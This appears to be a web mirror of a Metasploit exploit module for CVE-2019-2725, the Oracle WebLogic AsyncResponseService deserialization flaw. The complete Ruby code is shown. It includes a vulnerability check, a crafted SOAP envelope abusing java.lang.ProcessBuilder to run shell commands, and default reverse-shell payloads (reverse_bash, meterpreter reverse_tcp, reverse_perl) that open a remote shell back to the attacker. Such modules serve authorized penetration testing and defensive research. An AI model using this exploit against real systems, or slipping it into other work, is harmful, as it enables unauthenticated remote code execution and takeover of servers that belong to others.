Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb
31166 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Powershell
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService',
17
'Description' => %q{
18
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
19
interface can send a malicious SOAP request to the interface WLS AsyncResponseService
20
to execute code on the vulnerable host.
21
},
22
'Author' => [
23
'Andres Rodriguez - 2Secure (@acamro) <acamro[at]gmail.com>', # Metasploit Module
24
],
25
'License' => MSF_LICENSE,
26
'References' => [
27
['CVE', '2019-2725'],
28
['URL', 'http://web.archive.org/web/20190508024326/http://www.cnvd.org.cn/webinfo/show/4999'],
29
['URL', 'https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html'],
30
['URL', 'https://twitter.com/F5Labs/status/1120822404568244224']
31
],
32
'Privileged' => false,
33
'Targets' => [
34
[
35
'Unix',
36
{
37
'Platform' => 'unix',
38
'Arch' => ARCH_CMD,
39
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
40
}
41
],
42
[
43
'Windows',
44
{
45
'Platform' => 'win',
46
'Arch' => [ARCH_X64, ARCH_X86],
47
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
48
}
49
],
50
[
51
'Solaris',
52
{
53
'Platform' => 'solaris',
54
'Arch' => ARCH_CMD,
55
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
56
'Payload' => {
57
'Space' => 2048,
58
'DisableNops' => true,
59
'Compat' =>
60
{
61
'PayloadType' => 'cmd',
62
'RequiredCmd' => 'generic perl telnet'
63
}
64
}
65
}
66
]
67
],
68
'DefaultTarget' => 0,
69
'DefaultOptions' => {
70
'WfsDelay' => 12
71
},
72
'DisclosureDate' => '2019-04-23',
73
'Notes' => {
74
'Stability' => [ CRASH_SAFE ],
75
'SideEffects' => [ IOC_IN_LOGS ],
76
'Reliability' => [ REPEATABLE_SESSION ]
77
}
78
)
79
)
80
81
register_options(
82
[
83
Opt::RPORT(7001),
84
OptString.new('TARGETURI', [true, 'URL to AsyncResponseService', '/_async/AsyncResponseService'])
85
]
86
)
87
end
88
89
def check
90
res = send_request_cgi(
91
'uri' => normalize_uri(target_uri.path),
92
'method' => 'POST',
93
'ctype' => 'text/xml',
94
'headers' => { 'SOAPAction' => '' }
95
)
96
97
if res && res.code == 500 && res.body.include?('<faultcode>env:Client</faultcode>')
98
vprint_status("The target returned a vulnerable HTTP code: /#{res.code}")
99
vprint_status("The target returned a vulnerable HTTP error: /#{res.body.split("\n")[0]}")
100
Exploit::CheckCode::Vulnerable
101
elsif res && res.code != 202
102
vprint_status('The target returned a non-vulnerable HTTP code')
103
Exploit::CheckCode::Safe
104
elsif res.nil?
105
vprint_status('The target did not respond in an expected way')
106
Exploit::CheckCode::Unknown
107
else
108
vprint_status("The target returned HTTP code: #{res.code}")
109
vprint_status("The target returned HTTP body: #{res.body.split("\n")[0]} [...]")
110
Exploit::CheckCode::Unknown
111
end
112
end
113
114
def exploit
115
print_status('Generating payload...')
116
case target.name
117
when 'Windows'
118
string0_cmd = 'cmd.exe'
119
string1_param = '/c'
120
shell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encoded: false })
121
when 'Unix', 'Solaris'
122
string0_cmd = '/bin/bash'
123
string1_param = '-c'
124
shell_payload = payload.encoded
125
end
126
127
random_action = rand_text_alphanumeric(20)
128
random_relates = rand_text_alphanumeric(20)
129
130
soap_payload = %(<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/")
131
soap_payload << %(xmlns:wsa="http://www.w3.org/2005/08/addressing")
132
soap_payload << %(xmlns:asy="http://www.bea.com/async/AsyncResponseService">)
133
soap_payload << %(<soapenv:Header>)
134
soap_payload << %(<wsa:Action>#{random_action}</wsa:Action>)
135
soap_payload << %(<wsa:RelatesTo>#{random_relates}</wsa:RelatesTo>)
136
soap_payload << %(<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">)
137
soap_payload << %(<void class="java.lang.ProcessBuilder">)
138
soap_payload << %(<array class="java.lang.String" length="3">)
139
soap_payload << %(<void index="0">)
140
soap_payload << %(<string>#{string0_cmd}</string>)
141
soap_payload << %(</void>)
142
soap_payload << %(<void index="1">)
143
soap_payload << %(<string>#{string1_param}</string>)
144
soap_payload << %(</void>)
145
soap_payload << %(<void index="2">)
146
soap_payload << %(<string>#{shell_payload.encode(xml: :text)}</string>)
147
# soap_payload << %Q|<string>#{xml_encode(shell_payload)}</string>|
148
soap_payload << %(</void>)
149
soap_payload << %(</array>)
150
soap_payload << %(<void method="start"/>)
151
soap_payload << %(</void>)
152
soap_payload << %(</work:WorkContext>)
153
soap_payload << %(</soapenv:Header>)
154
soap_payload << %(<soapenv:Body>)
155
soap_payload << %(<asy:onAsyncDelivery/>)
156
soap_payload << %(</soapenv:Body>)
157
soap_payload << %(</soapenv:Envelope>)
158
159
print_status('Sending payload...')
160
161
begin
162
res = send_request_cgi(
163
'uri' => normalize_uri(target_uri.path),
164
'method' => 'POST',
165
'ctype' => 'text/xml',
166
'data' => soap_payload,
167
'headers' => { 'SOAPAction' => '' }
168
)
169
rescue Errno::ENOTCONN
170
fail_with(Failure::Disconnected, 'The target forcibly closed the connection, and is likely not vulnerable.')
171
end
172
173
if res.nil?
174
fail_with(Failure::Unreachable, 'No response from host')
175
elsif res && res.code != 202
176
fail_with(Failure::UnexpectedReply, "Exploit failed. Host responded with HTTP code #{res.code} instead of HTTP code 202")
177
end
178
end
179
end
180
181